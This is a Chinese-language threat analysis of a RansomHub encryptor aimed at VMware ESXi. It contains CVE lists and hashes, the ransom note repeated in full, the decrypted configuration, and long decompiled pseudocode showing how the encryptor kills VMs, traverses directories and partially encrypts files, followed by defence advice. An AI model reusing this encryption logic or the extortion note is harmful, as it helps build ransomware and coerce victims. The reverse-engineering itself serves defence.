引言：根据ransomware.live网站的最新统计数据，RansomHub家族的全球攻击数量首次超过LockBit 3，跃升为全球第一大勒索家族。同时，RansomHub也是目前全球前十大勒索家族中唯一一个公开声明其附属组织不得攻击中国的家族。
1.背景
1.1 家族信息
1.2 家族介绍
1.3 攻击手法
| 受影响的产品 | 漏洞 | 评分 |
|---|---|---|
| Citrix NetScaler ADC and NetScaler Gateway | CVE-2023-3519 | 9.8 (Critical) |
| Fortinet FortiOS and FortiProxy SSL-VPN | CVE-2023-27997 | 9.8 (Critical) |
| Java OpenWire | CVE-2023-46604 | 9.8 (Critical) |
| Atlassian Confluence Data Center and Server | CVE-2023-22515 | 9.8 (Critical) |
| F5 BIG-IP | CVE-2023-46747 | 9.8 (Critical) |
| Fortinet FortiClientEMS | CVE-2023-48788 | 9.8 (Critical) |
| Microsoft Netlogon | CVE-2020-1472 | 10.0 (Critical) |
| Microsoft Windows BITS | CVE-2020-0787 | 7.8 (High) |
| Microsoft SMBv1 | CVE-2017-0144 | 8.8 (High) |
2.恶意文件基础信息
2.1 加密器基本信息
| 文件名: | amd64.out |
|---|---|
| 编译器: | Go(1.10.x-1.17.x)[EXEC AMD64-64] |
| 大小: | ELF64 |
| 操作系统: | Unix(0)[AMD64, 64位, EXEC] |
| 模式: | 64 位 |
| 类型: | ELF64 |
| 字节序: | LE |
| MD5: | fdf0a0e9e20c319bd766a15415c33122 |
| SHA1: | 39a14c69d0a85b3c9abb06627863d2d60266b4e3 |
| SHA256: | 86327e6595a375662563d2b76122a3c7cf2fe5baeb2d45702c5bbb2875425bc0 |
2.2 勒索信
We are the RansomHub.
Your company Servers are locked and Data has been taken to our servers. This is serious.
Good news:
- your server system and data will be restored by our Decryption Tool, we support trial decryption to prove that your files can be decrypted;
- for now, your data is secured and safely stored on our server;
- nobody in the world is aware about the data leak from your company except you and RansomHub team;
- we provide free trial decryption for files smaller than 1MB. If anyone claims they can decrypt our files, you can ask them to try to decrypt a file larger than 1MB.
FAQs:
Who we are?
- Normal Browser Links: https://xxxxxxxifxwc5eteopdobynonjctkxxvap77yqifu2emfbecgbqdw6qd.onion.ly/
- Tor Browser Links: http://xxxxxxxifxwc5eteopdobynonjctkxxvap77yqifu2emfbecgbqdw6qd.onion/
Want to go to authorities for protection?
- Seeking their help will only make the situation worse,They will try to prevent you from negotiating with us, because the negotiations will make them look incompetent,After the incident report is handed over to the government department, you will be fined <This will be a huge amount,Read more about the GDRP legislation:https://en.wikipedia.org/wiki/General_Data_Protection_Regulation>,The government uses your fine to reward them.And you will not get anything, and except you and your company, the rest of the people will forget what happened!!!!!
Think you can handle it without us by decrypting your servers and data using some IT Solution from third-party "specialists"?
- they will only make significant damage to all of your data; every encrypted file will be corrupted forever. Only our Decryption Tool will make decryption guaranteed;
Don't go to recovery companies, they are essentially just middlemen who will make money off you and cheat you.
- We are well aware of cases where recovery companies tell you that the ransom price is 5 million dollars, but in fact they secretly negotiate with us for 1 million dollars, so they earn 4 million dollars from you. If you approached us directly without intermediaries you would pay 5 times less, that is 1 million dollars.
Think your partner IT Recovery Company will do files restoration?
- no they will not do restoration, only take 3-4 weeks for nothing; besides all of your data is on our servers and we can publish it at any time;
as well as send the info about the data breach from your company servers to your key partners and clients, competitors, media and youtubers, etc.
Those actions from our side towards your company will have irreversible negative consequences for your business reputation.
You don't care in any case, because you just don't want to pay?
- We will make you business stop forever by using all of our experience to make your partners, clients, employees and whoever cooperates with your company change their minds by having no choice but to stay away from your company.
As a result, in midterm you will have to close your business.
So lets get straight to the point.
What do we offer in exchange on your payment:
- decryption and restoration of all your systems and data within 24 hours with guarantee;
- never inform anyone about the data breach out from your company;
- after data decryption and system restoration, we will delete all of your data from our servers forever;
- provide valuable advising on your company IT protection so no one can attack your again.
Now, in order to start negotiations, you need to do the following:
- install and run 'Tor Browser' from https://www.torproject.org/download/
- use 'Tor Browser' open http://xxxxxx6bqwmwklleegleveaq4tfiz7dd4eymdb43d7726veguywl5xyd.onion/
- enter your Client ID:
* do not leak your ID or you will be banned and will never be able to decrypt your files.
There will be no bad news for your company after successful negotiations for both sides. But there will be plenty of those bad news if case of failed negotiations, so don't think about how to avoid it.
Just focus on negotiations, payment and decryption to make all of your problems solved by our specialists within 1 day after payment received: servers and data restored, everything will work good as new.
************************************************3.加密后文件分析
3.1 威胁分析
| 病毒家族 | Ransomhub |
|---|---|
| 首次出现时间/捕获分析时间 | 2024/10/23 || 2024/10/23 |
| 威胁类型 | 勒索软件，加密病毒 |
| 加密文件扩展名 | .f910ba |
| 勒索信文件名 | README_f910ba.txt |
| 有无免费解密器？ | 无 |
| 联系方式 | XXXXXX99696AD5399FABF7D40C4D1BE9F05D74CFB311047D7391AC0BF64BED47B56EEE66A528 |
| 检测名称 | Avast (Win32:Malware-gen), AhnLab-V3 (Trojan/Win.Generic.C5576951), ALYac (Gen:Variant.Tedy.512515), Avira (no cloud) (TR/Ransom.imrnt), BitDefenderTheta (Gen:NN.ZexaF.36802.yq0@aSdxC8m), CrowdStrike Falcon (Win/malicious_confidence_100% (W))，Cylance（Unsafe），DeepInstinct（MALICIOUS），Emsisoft（Gen:Variant.Tedy.512515 (B)），ESET-NOD32（A Variant Of MSIL/Filecoder.LU），GData（Gen:Variant.Tedy.512515）， Ikarus （Trojan.MSIL.Crypt），K7GW（Trojan ( 0052f4e41 )） |
| 感染症状 | 无法打开存储在计算机上的文件，以前功能的文件现在具有不同的扩展名（例如，solar.docx.f910ba）。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金（通常以比特币）来解锁您的文件。 |
| 感染方式 | 受感染的电子邮件附件（宏）、恶意广告、漏洞利用、恶意链接 |
| 受灾影响 | 所有文件都经过加密，如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。 |
3.2 加密的测试文件
3.2.1 文件名
3.2.2 具体内容
3.2.3 加密文件名特征
3.2.4 加密文件数据特征
3.2.5 加密算法
AES密钥生成
KEY
RSA密钥生成
公钥
0xF9, 0x10, 0xBA, 0x1E, 0xB0, 0x31, 0xED, 0x2D, 0x3E, 0x27,
0x73, 0xD3, 0xC7, 0x69, 0xAD, 0xA8, 0x43, 0xB7, 0x21, 0xA5,
0x40, 0x7F, 0x8B, 0x56, 0xAE, 0xAF, 0x12, 0xCA, 0x51, 0x23,
0xC2, 0x25
3.2.6 释放文件
勒索信(Recover files!!!.txt)
文件内容
We are the RansomHub.
Your company Servers are locked and Data has been taken to our servers. This is serious.
Good news:
- your server system and data will be restored by our Decryption Tool, we support trial decryption to prove that your files can be decrypted;
- for now, your data is secured and safely stored on our server;
- nobody in the world is aware about the data leak from your company except you and RansomHub team;
- we provide free trial decryption for files smaller than 1MB. If anyone claims they can decrypt our files, you can ask them to try to decrypt a file larger than 1MB.
FAQs:
Who we are?
- Normal Browser Links: https://xxxxxxxifxwc5eteopdobynonjctkxxvap77yqifu2emfbecgbqdw6qd.onion.ly/
- Tor Browser Links: http://xxxxxxxifxwc5eteopdobynonjctkxxvap77yqifu2emfbecgbqdw6qd.onion/
Want to go to authorities for protection?
- Seeking their help will only make the situation worse,They will try to prevent you from negotiating with us, because the negotiations will make them look incompetent,After the incident report is handed over to the government department, you will be fined <This will be a huge amount,Read more about the GDRP legislation:https://en.wikipedia.org/wiki/General_Data_Protection_Regulation>,The government uses your fine to reward them.And you will not get anything, and except you and your company, the rest of the people will forget what happened!!!!!
Think you can handle it without us by decrypting your servers and data using some IT Solution from third-party "specialists"?
- they will only make significant damage to all of your data; every encrypted file will be corrupted forever. Only our Decryption Tool will make decryption guaranteed;
Don't go to recovery companies, they are essentially just middlemen who will make money off you and cheat you.
- We are well aware of cases where recovery companies tell you that the ransom price is 5 million dollars, but in fact they secretly negotiate with us for 1 million dollars, so they earn 4 million dollars from you. If you approached us directly without intermediaries you would pay 5 times less, that is 1 million dollars.
Think your partner IT Recovery Company will do files restoration?
- no they will not do restoration, only take 3-4 weeks for nothing; besides all of your data is on our servers and we can publish it at any time;
as well as send the info about the data breach from your company servers to your key partners and clients, competitors, media and youtubers, etc.
Those actions from our side towards your company will have irreversible negative consequences for your business reputation.
You don't care in any case, because you just don't want to pay?
- We will make you business stop forever by using all of our experience to make your partners, clients, employees and whoever cooperates with your company change their minds by having no choice but to stay away from your company.
As a result, in midterm you will have to close your business.
So lets get straight to the point.
What do we offer in exchange on your payment:
- decryption and restoration of all your systems and data within 24 hours with guarantee;
- never inform anyone about the data breach out from your company;
- after data decryption and system restoration, we will delete all of your data from our servers forever;
- provide valuable advising on your company IT protection so no one can attack your again.
Now, in order to start negotiations, you need to do the following:
- install and run 'Tor Browser' from https://www.torproject.org/download/
- use 'Tor Browser' open http://xxxxxx6bqwmwklleegleveaq4tfiz7dd4eymdb43d7726veguywl5xyd.onion/
- enter your Client ID:
* do not leak your ID or you will be banned and will never be able to decrypt your files.
There will be no bad news for your company after successful negotiations for both sides. But there will be plenty of those bad news if case of failed negotiations, so don't think about how to avoid it.
Just focus on negotiations, payment and decryption to make all of your problems solved by our specialists within 1 day after payment received: servers and data restored, everything will work good as new.
************************************************
3.2.7 程序执行流程
4.逆向分析
4.1加密器逆向分析
4.1.1 检测参数
if ( a1 <= 1 )
{
v22 = 0LL;
v24 = 0LL;
nptr = 0LL;
v3 = 0;
LABEL_34:
v13 = (char *)malloc(0xEuLL);
v21 = v13;
if ( v13 )
{
strcpy(v13, "/vmfs/volumes");
v21 = v13;
}
goto LABEL_36;
}
LABEL_36:
if ( !(unsigned int)jiaoyan_config(v22, (__int64)&config) )
{
puts("bad config.");
return 0LL;
}
if ( !strcmp(v4[1], "-path") )
{
if ( a1 <= v5 || !v4[2] )
{
fwrite("missing value for -pathn", 1uLL, 0x18uLL, MEMORY[0x7F21E6F8B840]);
return 1LL;
}
__strdup();
v21 = v7;
}
if ( !strcmp(v4[1], "-pass") )
{
if ( a1 <= v5 || !v4[2] )
{
fwrite("missing value for -passn", 1uLL, 0x18uLL, MEMORY[0x7F21E6F8B840]);
return 1LL;
}
__strdup();
v22 = v9;
}
if ( !strcmp(v4[1], "-sleep") )
{
if ( a1 <= v5 || !v4[2] )
{
fwrite("missing value for -sleepn", 1uLL, 0x19uLL, MEMORY[0x7F21E6F8B840]);
return 1LL;
}
__strdup();
nptr = v10;
}
if ( !strcmp(v4[1], "-skip_vms") )
{
if ( a1 <= v5 || !v4[2] )
{
fwrite("missing value for -skip_vmsn", 1uLL, 0x1CuLL, MEMORY[0x7F21E6F8B840]);
return 1LL;
}
__strdup();
v24 = v11;
}
if ( *v12 == asc_419452[0] && v12[1] == asc_419452[1] && v12[2] == asc_419452[2] )
{
printf("USAGE: %s [OPTIONS]n", *a2);
puts("OPTIONS:");
puts(" -pass string");
puts(" tpass");
puts(" -path string");
puts(" tonly process files inside defined path(default is /vmfs/volumes). -path /vmfs/other");
puts(" -sleep int");
puts(" tsleep for a period of time to run (minute)");
puts(" -skip_vms string");
puts(" tdo not stop and encryption VMs file,one line one item. -skip_vms skip.txt");
puts(" -fast");
puts(" tfast encryption mode");
puts(" -verbose");
puts(" toutput the encryption log");
return 0LL;
}
4.1.2 自解密生成配置信息
if ( chacha_jiemi((unsigned int)&v23, (unsigned int)v31, (unsigned int)&v23, 0, 0, (_DWORD)dest, n) == -1 )
return 0LL;
*((_BYTE *)&v23 + v28) = 0;
v9 = sub_4060C6(&v23);
v10 = v9;
if ( !v9 )
return 0LL;
v11 = sub_403FA8(v9, "master_public_key");
if ( !v11 )
return 0LL;
v12 = sub_403FA8(v10, "extension");
if ( !v12 )
return 0LL;
v13 = sub_403FA8(v10, "note_file_name");
if ( !v13 )
return 0LL;
n = sub_403FA8(v10, "note_full_text");
if ( !n )
return 0LL;
v25 = sub_403FA8(v10, "note_short_text");
if ( !v25 )
return 0LL;
dest = (void *)sub_403FA8(v10, "encryption_files");
if ( !dest )
return 0LL;
v14 = sub_403FA8(v10, "settings");
{"master_public_key": "f910ba1eb031ed2d3e2773d3c769ada843b721a5407f8b56aeaf12ca5123c225", "extension": ".f910ba", "note_file_name": "README_f910ba.txt", "note_full_text": "We are the RansomHub.nnYour company Servers are locked and Data has been taken to our servers. This is serious. nnGood news:n- your server system and data will be restored by our Decryption Tool, we support trial decryption to prove that your files can be decrypted;n- for now, your data is secured and safely stored on our server;n- nobody in the world is aware about the data leak from your company except you and RansomHub team;n- we provide free trial decryption for files smaller than 1MB. If anyone claims they can decrypt our files, you can ask them to try to decrypt a file larger than 1MB.nnFAQs:nWho we are?n- Normal Browser Links: https://ransomxifxwc5eteopdobynonjctkxxvap77yqifu2emfbecgbqdw6qd.onion.ly/n- Tor Browser Links: http://ransomxifxwc5eteopdobynonjctkxxvap77yqifu2emfbecgbqdw6qd.onion/nnWant to go to authorities for protection?n- Seeking their help will only make the situation worse,They will try to prevent you from negotiating with us, because the negotiations will make them look incompetent,After the incident report is handed over to the government department, you will be fined <This will be a huge amount,Read more about the GDRP legislation:https://en.wikipedia.org/wiki/General_Data_Protection_Regulation>,The government uses your fine to reward them.And you will not get anything, and except you and your company, the rest of the people will forget what happened!!!!!nnThink you can handle it without us by decrypting your servers and data using some IT Solution from third-party "specialists"?n- they will only make significant damage to all of your data; every encrypted file will be corrupted forever. Only our Decryption Tool will make decryption guaranteed; nnDon't go to recovery companies, they are essentially just middlemen who will make money off you and cheat you. n- We are well aware of cases where recovery companies tell you that the ransom price is 5 million dollars, but in fact they secretly negotiate with us for 1 million dollars, so they earn 4 million dollars from you. If you approached us directly without intermediaries you would pay 5 times less, that is 1 million dollars.nnThink your partner IT Recovery Company will do files restoration? n- no they will not do restoration, only take 3-4 weeks for nothing; besides all of your data is on our servers and we can publish it at any time; n as well as send the info about the data breach from your company servers to your key partners and clients, competitors, media and youtubers, etc. n Those actions from our side towards your company will have irreversible negative consequences for your business reputation.nnYou don't care in any case, because you just don't want to pay? n- We will make you business stop forever by using all of our experience to make your partners, clients, employees and whoever cooperates with your company change their minds by having no choice but to stay away from your company. n As a result, in midterm you will have to close your business. nnnSo lets get straight to the point.nnWhat do we offer in exchange on your payment:n- decryption and restoration of all your systems and data within 24 hours with guarantee;n- never inform anyone about the data breach out from your company;n- after data decryption and system restoration, we will delete all of your data from our servers forever;n- provide valuable advising on your company IT protection so no one can attack your again.nnNow, in order to start negotiations, you need to do the following: n- install and run 'Tor Browser' from https://www.torproject.org/download/n- use 'Tor Browser' open http://ujdqg76bqwmwklleegleveaq4tfiz7dd4eymdb43d7726veguywl5xyd.onion/n- enter your Client ID: %sn* do not leak your ID or you will be banned and will never be able to decrypt your files.nnThere will be no bad news for your company after successful negotiations for both sides. But there will be plenty of those bad news if case of failed negotiations, so don't think about how to avoid it.nJust focus on negotiations, payment and decryption to make all of your problems solved by our specialists within 1 day after payment received: servers and data restored, everything will work good as new.nn************************************************n", "note_short_text": "Your data is stolen and encrypted, see README_f910ba.txt.", "settings": {"remove_vms_snapshot": false, "shutdown_vms": true, "self_delete": true}, "encryption_files": ["*.vmdk", "*.vmx", "*.vmsn", "*.vswp", "*.vmxf", "*.vhd", "*.vhdx", "*.iso", "*.vmx.lck", "*.nvram", "*.img"]}
4.1.3 结束指定线程
snprintf(pid_file, 0x1000uLL, "/tmp/%s.pid", *((const char **)&config + 1));
printf("pid_file: %sn", pid_file);
pid = -1;
v14 = fopen(pid_file, "r");
v15 = v14;
if ( v14 )
{
fscanf(v14, "%d", &pid);
if ( pid > 0 && !kill(pid, 0) )
{
puts("already running...");
fclose(v15);
while ( !kill(pid, 0) )
sleep(1u);
puts("done");
return 0LL;
}
fclose(v15);
}
int __fastcall sub_4184D4(char *filename)
{
__pid_t v1; // eax
FILE *v2; // rax
FILE *v3; // rbx
int stat_loc[3]; // [rsp+Ch] [rbp-Ch] BYREF
v1 = fork();
pid[0] = v1;
if ( v1 < 0 )
exit(1);
if ( v1 > 0 )
{
puts("running...");
signal(2, (__sighandler_t)handle_parent_signal);
v2 = fopen(filename, &src[2]);
v3 = v2;
if ( v2 )
{
fprintf(v2, "%dn", (unsigned int)pid[0]);
fclose(v3);
}
waitpid(pid[0], stat_loc, 0);
puts("done");
exit(0);
}
if ( setsid() < 0 )
exit(1);
close(0);
close(1);
close(2);
open("/dev/null", 2);
dup(0);
return dup(0);
}
signal(1, (__sighandler_t)handle_signal);
signal(2, (__sighandler_t)handle_signal);
signal(9, (__sighandler_t)handle_signal);
signal(15, (__sighandler_t)handle_signal);
signal(19, (__sighandler_t)handle_signal);
_DWORD *handle_signal()
{
_DWORD *result; // rax
running = 0;
for ( result = finish; finish[0] != 1; result = finish )
sleep(1u);
return result;
}
4.1.4 公钥初始化
__int64 __fastcall sub_417096(const char *a1, __int64 a2, unsigned __int64 a3)
{
__int64 result; // rax
unsigned __int64 v4; // rcx
unsigned __int64 v5; // r13
unsigned __int64 v6; // rbx
char v7; // r12
result = 0LL;
v4 = strlen(a1) + 1;
v5 = v4 - 1;
if ( (((_BYTE)v4 - 1) & 1) == 0 )
{
result = v5 >> 1;
if ( v5 >> 1 <= a3 && v4 != 1 )
{
v6 = 0LL;
do
{
v7 = sub_41704C((unsigned int)a1[v6]);
result = sub_41704C((unsigned int)a1[v6 + 1]);
*(_BYTE *)(a2 + (v6 >> 1)) = result | (16 * v7);
v6 += 2LL;
}
while ( v5 > v6 );
}
}
return result;
}
4.1.5 获取虚拟机信息
void __fastcall sub_417D6B(__int64 a1)
{
FILE *v1; // r14
_BYTE *v2; // rbp
int v3; // ebx
unsigned __int64 v4; // kr08_8
__int64 v5; // rax
_QWORD *v6; // rbx
__int64 v7; // r12
__int64 v8; // r13
__int64 v9; // r14
char src[312]; // [rsp+10h] [rbp-138h] BYREF
v1 = popen("localcli --formatter json vm process list 2>/dev/null", "r");
if ( v1 )
{
memset(src, 0, 0x100uLL);
v2 = malloc(0x100uLL);
*v2 = 0;
v3 = 0;
while ( fgets(src, 256, v1) )
{
v4 = strlen(src) + 1;
v3 += v4 - 1;
v2 = realloc(v2, v3 + 1);
strncat(v2, src, (int)v4 - 1);
}
pclose(v1);
if ( *v2 )
{
if ( strstr(v2, "Display Name") )
{
v5 = sub_4060C6((__int64)v2);
if ( v5 )
{
v6 = *(_QWORD **)(v5 + 16);
while ( v6 )
{
v7 = jiexi((__int64)v6, (__int64)"Display Name");
v8 = jiexi((__int64)v6, (__int64)"World ID");
v9 = jiexi((__int64)v6, (__int64)"VMX Cartel ID");
v6 = (_QWORD *)*v6;
if ( v7
&& v8
&& jiaoyan(v7)
&& (unsigned int)sub_403B82(v8)
&& (unsigned int)sub_417F54(*(_QWORD *)(v7 + 32), a1) != 1 )
{
printf("vm process kill %s world id: %d n", *(const char **)(v7 + 32), *(unsigned int *)(v8 + 40));
sub_417CD9(*(unsigned int *)(v8 + 40));
if ( v9 )
{
if ( (unsigned int)sub_403B82(v9) )
sub_417C47(*(unsigned int *)(v9 + 40));
}
sleep(1u);
}
}
}
}
}
free(v2);
}
}
4.1.6 加密线程创建
char *__fastcall sub_4175D2(int a1)
{
char *v1; // rax
char *v2; // rbp
void *v3; // rax
int v4; // r14d
void *v5; // rax
__int64 v6; // r13
int i; // r12d
void **v8; // rbx
void *v9; // rax
dword_627664 = 0;
dword_627660 = 1;
v1 = (char *)malloc(0xB0uLL);
v2 = v1;
if ( v1 )
{
*((_DWORD *)v1 + 2) = 0;
*((_DWORD *)v1 + 3) = 0;
*((_DWORD *)v1 + 42) = 0;
*((_QWORD *)v1 + 18) = 0LL;
*((_QWORD *)v1 + 19) = 0LL;
v3 = malloc(0x60uLL);
*((_QWORD *)v2 + 20) = v3;
if ( v3 )
{
v4 = 0;
if ( a1 >= 0 )
v4 = a1;
pthread_mutex_init((pthread_mutex_t *)(v2 + 104), 0LL);
sub_4172FE(*((_QWORD *)v2 + 20), 0LL);
v5 = malloc(8LL * v4);
*(_QWORD *)v2 = v5;
if ( v5 )
{
pthread_mutex_init((pthread_mutex_t *)(v2 + 16), 0LL);
pthread_cond_init((pthread_cond_t *)(v2 + 56), 0LL);
if ( v4 > 0 )
{
v6 = 0LL;
for ( i = 0; i < v4; ++i )
{
v8 = (void **)(*(_QWORD *)v2 + v6);
v9 = malloc(0x18uLL);
*v8 = v9;
if ( v9 )
{
*((_QWORD *)v9 + 2) = v2;
*(_DWORD *)*v8 = i;
pthread_create((pthread_t *)*v8 + 1, 0LL, start_routine, *v8);
pthread_detach(*((_QWORD *)*v8 + 1));
}
else
{
fwrite("thread_init(): Could not allocate memory for threadn", 1uLL, 0x34uLL, MEMORY[0x7F21E6F8B840]);
}
v6 += 8LL;
}
}
while ( *((_DWORD *)v2 + 2) != v4 )
;
}
else
{
fwrite("thpool_init(): Could not allocate memory for threadsn", 1uLL, 0x35uLL, MEMORY[0x7F21E6F8B840]);
sub_41736A((pthread_mutex_t *)(v2 + 104));
free(v2);
return 0LL;
}
}
else
{
fwrite("thpool_init(): Could not allocate memory for job queuen", 1uLL, 0x37uLL, MEMORY[0x7F21E6F8B840]);
free(v2);
return 0LL;
}
}
else
{
fwrite("thpool_init(): Could not allocate memory for thread pooln", 1uLL, 0x39uLL, MEMORY[0x7F21E6F8B840]);
}
return v2;
}
4.1.7 勒索信创建
strcpy(v2, a1);
strcat(v3, "/");
strcat(v3, *((const char **)&config + 2));
v9 = fopen(v3, "w")
{
fwrite(*((const void **)&config + 3), 1uLL, strlen(*((const char **)&config + 3)), v9);
fclose(v9);
}
4.1.8 遍历路径
v14 = opendir(v3);
if ( v14 )
{
while ( 1 )
{
v29 = readdir(v14);
if ( d_type == 4 )
{
v18 = v3;
v19 = 4097;
if ( ((unsigned __int8)v3 & 1) != 0 )
{
*v3 = 0;
v18 = v3 + 1;
v19 = 4096;
}
if ( ((unsigned __int8)v18 & 2) != 0 )
{
*v18++ = 0;
v19 -= 2;
}
if ( ((unsigned __int8)v18 & 4) != 0 )
{
*(_DWORD *)v18 = 0;
v18 += 2;
v19 -= 4;
}
v20 = v19 >> 3;
memset(v18, 0, 8 * v20);
v21 = &v18[4 * v20];
if ( (v19 & 4) != 0 )
*v21++ = 0;
if ( (v19 & 2) != 0 )
{
*(_WORD *)v21 = 0;
v21 = (_DWORD *)((char *)v21 + 2);
}
if ( (v19 & 1) != 0 )
*(_BYTE *)v21 = 0;
strcpy(v3, v8);
strcat(v3, "/");
strcat(v3, d_name);
sub_40217C(v3);
}
else if ( d_type == 8 )
{
v30 = (__int64)v29->d_name;
if ( !(unsigned int)sub_417FA2(v29->d_name, *((_QWORD *)&config + 1)) )
{
if ( (unsigned int)sub_417F54(v30, *((__int64 **)&config + 5)) )
{
v22 = v3;
v23 = 4097;
if ( ((unsigned __int8)v3 & 1) != 0 )
{
*v3 = 0;
v22 = v3 + 1;
v23 = 4096;
}
if ( ((unsigned __int8)v22 & 2) != 0 )
{
*v22++ = 0;
v23 -= 2;
}
if ( ((unsigned __int8)v22 & 4) != 0 )
{
*(_DWORD *)v22 = 0;
v22 += 2;
v23 -= 4;
}
v24 = v23 >> 3;
memset(v22, 0, 8 * v24);
v25 = &v22[4 * v24];
if ( (v23 & 4) != 0 )
*v25++ = 0;
if ( (v23 & 2) != 0 )
{
*(_WORD *)v25 = 0;
v25 = (_DWORD *)((char *)v25 + 2);
}
if ( (v23 & 1) != 0 )
*(_BYTE *)v25 = 0;
strcpy(v3, v8);
strcat(v3, "/");
strcat(v3, d_name);
v26 = exclude_vms;
if ( exclude_vms && (v27 = (const char *)*exclude_vms) != 0LL )
{
v31 = 0;
while ( !strstr(v3, v27) )
{
v27 = (const char *)v26[++v31];
if ( !v27 )
goto LABEL_71;
}
printf("skip %sn", v3);
}
_BOOL8 __fastcall sub_417FA2(const char *a1, const char *a2)
{
unsigned __int64 v2; // kr08_8
unsigned __int64 v3; // kr10_8
if ( a1 && a2 && (v2 = strlen(a1) + 1, v3 = strlen(a2) + 1, v2 - 1 >= v3 - 1) )
return strcmp(&a1[v2 - v3], a2) == 0;
else
return 0LL;
}
["*.vmdk", "*.vmx", "*.vmsn", "*.vswp", "*.vmxf", "*.vhd", "*.vhdx", "*.iso", "*.vmx.lck", "*.nvram", "*.img"]
v28 = malloc(strlen(v3) + 1);
memset(v28, 0, strlen(v3) + 1);
strcpy((char *)v28, v3);
printf("found %sn", (const char *)v28);
sub_4174F9(thread_pool, encrypt_file_task, v28);
if ( __xstat64(1, filename, &stat_buf) )
{
v4 = __errno_location();
v5 = strerror(*v4);
printf("failed to encrypt file %s, unable to get file stat %sn", filename, v5);
return 0LL;
}
4.1.9 密钥生成
int __fastcall sub_418732(void *ptr, int a2)
{
FILE *v2; // rax
FILE *v3; // rbx
v2 = fopen("/dev/urandom", "r");
v3 = v2;
if ( v2 )
{
fread(ptr, 1uLL, a2, v2);
LODWORD(v2) = fclose(v3);
}
return (int)v2;
}
如果选择快速加密，则初始化chacha20密钥
4.1.10 加密文件
根据文件大小返回对应的值
__int64 __fastcall sub_418678(unsigned __int64 a1)
{
__int64 result; // rax
result = 0LL;
if ( a1 > 0x200000 )
{
result = 0x100000LL;
if ( a1 > 0x800000 )
{
result = 0x200000LL;
if ( a1 > 0x2000000 )
{
result = 3145728LL;
if ( a1 > 0x8000000 )
{
result = (__int64)&dword_400000;
if ( a1 > 0x20000000 )
{
result = 5242880LL;
if ( a1 > 0x80000000 )
{
result = 6291456LL;
if ( a1 > 0x200000000LL )
{
result = 7340032LL;
if ( a1 > 0x800000000LL )
{
result = 0x800000LL;
if ( a1 > 0x2000000000LL )
return a1 > 0x8000000000LL ? 10485760LL : 9437184LL;
}
}
}
}
}
}
}
}
return result;
}
将加密后的密钥，rsa公钥，以及刚刚得到的值写入文件末尾
v14 = sub_418678(st_size);
if ( a3 == 1 )
v14 *= 4LL;
memset(ptr, 0, 0x78uLL);
*(_QWORD *)ptr = v29;
*(_QWORD *)&ptr[8] = v30;
*(_QWORD *)&ptr[16] = v31;
*(_QWORD *)&ptr[24] = v32;
*(_WORD *)&ptr[32] = v19;
*(_QWORD *)&ptr[34] = v35;
*(_QWORD *)&ptr[42] = v36;
*(_QWORD *)&ptr[50] = v37;
v33 = v35;
v34 = v36;
v35 = 0LL;
v36 = 0LL;
v37 = 0LL;
*(_QWORD *)&ptr[66] = v14;
*(_QWORD *)&ptr[90] = *master_public_key;
*(_QWORD *)&ptr[98] = master_public_key[1];
*(_QWORD *)&ptr[106] = master_public_key[2];
*(_QWORD *)&ptr[114] = master_public_key[3];
fseek(v8, 0LL, 2);
fwrite(ptr, 1uLL, 0x7AuLL, v8);
fseek(v8, 0LL, 0);
根据刚刚返回的值决定加密的字节数
v20 = v14 + 0x100000;
v21 = (v20 + st_size - 1) / v20;
if ( v21 )
{
v15 = 0LL;
for ( i = 0LL; i < v21; ++i )
{
fseek(v8, v15, 0);
v17 = fread(v11, 1uLL, 0x100000uLL, v8);
v18 = v17;
if ( !v17 )
break;
if ( *(_WORD *)&ptr[32] == 1 )
sub_418793((__int64)v11, (__int64)v11, (unsigned int)v17, (__int64)&v33, (__int64)v24);
else
sub_40E392(v23, (__int64)v11, v17);
fseek(v8, -(__int64)v18, 1);
fwrite(v11, 1uLL, v18, v8);
++*(_QWORD *)&ptr[74];
fseek(v8, st_size, 0);
fwrite(ptr, 1uLL, 0x7AuLL, v8);
v15 += v20;
}
}
void __fastcall encrypt_file_task(char *ptr)
{
__mode_t st_mode; // esi
char v2[4112]; // [rsp+0h] [rbp-10B8h] BYREF
struct stat stat_buf; // [rsp+1010h] [rbp-A8h] BYREF
if ( running )
{
if ( (unsigned int)sub_418CEB(ptr, master_public_key, encrypt_fast_mode) == 1 )
{
memset(v2, 0, 4097);
strcpy(v2, ptr);
strcat(v2, *((const char **)&config + 1));
unlink(v2);
if ( !rename(ptr, v2) && !__xstat(1, v2, &stat_buf) )
{
st_mode = stat_buf.st_mode;
LOBYTE(st_mode) = stat_buf.st_mode & 0x7F;
chmod(v2, st_mode);
}
}
free(ptr);
}
else
{
free(ptr);
}
}5.病毒分析概览
6.安全建议
6.1 风险消减措施
前期处理方法（企业内部）:
1.尽快断开被感染设备的网络连接，以防止病毒进一步扩散!
2.请勿中途强制关机，该行为会造成不可逆后果
3.不要尝试自行解密或支付赎金，以免造成更大损失！以下为详细的消减措施:
1. 数据备份策略
定期进行数据备份，并确保备份数据存储在物理隔离的设备或云环境中，避免备份被勒索病毒感染。
实施多重备份策略，如每日、每周、每月备份，以确保在灾难恢复时有多种数据版本可供选择。
2. 系统和应用更新
定期更新操作系统和应用软件，及时打补丁，修复已知的漏洞。
开启自动更新功能，确保始终拥有最新的安全补丁。
3. 邮件和浏览器安全
部署电子邮件安全网关，过滤恶意附件和链接。
培训员工识别钓鱼邮件和恶意链接，提高对社会工程攻击的防范意识。
限制员工对高风险网站（如未经过筛选的下载网站）的访问，减少通过恶意广告和下载感染的风险。
4. 用户权限管理
最小权限原则（Principle of Least Privilege）：根据岗位需求分配权限，避免不必要的管理员权限。
禁止员工使用公共账户和共享账号，所有用户需拥有独立的登录凭证。
5. 启用多因素认证（MFA）
为关键系统和远程访问启用MFA，防止账号被未经授权访问。
除了密码之外，添加短信验证、动态令牌等额外的安全层。
6. 网络分段与隔离
实施网络分段，将关键系统与普通网络隔离开，防止勒索病毒在局域网内扩散。
对于重要的业务系统，采用单独的VLAN和防火墙策略进行防护。
7. 部署防勒索软件和端点检测响应（EDR）
使用防病毒软件和防勒索软件，及时识别和阻止潜在的勒索病毒攻击。
部署EDR解决方案，以监测和响应异常活动，迅速隔离感染设备，防止病毒扩散。
8. 建立并测试应急响应计划
制定详细的应急响应计划，明确在勒索攻击发生时的应对步骤。
定期演练，测试该计划的可操作性，并进行改进。
9. 入侵检测与流量监控
使用入侵检测系统（IDS）和入侵防御系统（IPS），识别和阻断异常流量。
